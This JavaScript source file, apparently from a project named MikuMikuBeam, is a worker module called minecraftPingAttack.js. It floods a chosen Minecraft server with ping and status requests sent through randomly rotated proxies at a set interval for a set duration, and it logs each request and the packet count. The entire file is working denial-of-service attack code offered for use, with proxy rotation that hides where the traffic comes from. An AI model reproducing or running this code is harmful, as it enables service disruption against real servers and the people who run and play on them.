MikuMikuBeam/server/workers/minecraftPingAttack.js

49 lines
1.6 KiB
JavaScript

import { parentPort, workerData } from "worker_threads";
import { pingMinecraftServer } from "../utils/mcUtils.js";
const startAttack = () => {
const { target, proxies, duration, packetDelay } = workerData;
const [targetHost, targetPort] = target.split(":");
const parsedPort = parseInt(targetPort || "25565", 10);
const fixedTarget = `tcp://${targetHost}:${parsedPort}`;
let totalPackets = 0;
const startTime = Date.now();
const interval = setInterval(() => {
const elapsedTime = (Date.now() - startTime) / 1000;
if (elapsedTime >= duration) {
clearInterval(interval);
parentPort.postMessage({ log: "Attack finished", totalPackets });
process.exit(0);
}
const proxy = proxies[Math.floor(Math.random() * proxies.length)];
pingMinecraftServer(targetHost, parsedPort, proxy)
.then((status) => {
totalPackets++;
const players = status?.players?.online || 0;
const max = status?.players?.max || 0;
const version = status?.version?.name || "";
const banner = `${version}: ${players}/${max}`;
parentPort.postMessage({
log: `✅ MC Ping+MOTD Request from ${proxy.protocol}://${proxy.host}:${proxy.port} to ${fixedTarget} (${banner})`,
totalPackets,
});
})
.catch((e) => {
parentPort.postMessage({
log: `❌ MC Ping+MOTD Request failed from ${proxy.protocol}://${proxy.host}:${proxy.port} to ${fixedTarget}: ${e.message}`,
totalPackets,
});
});
}, packetDelay);
};
if (workerData) {
startAttack();
}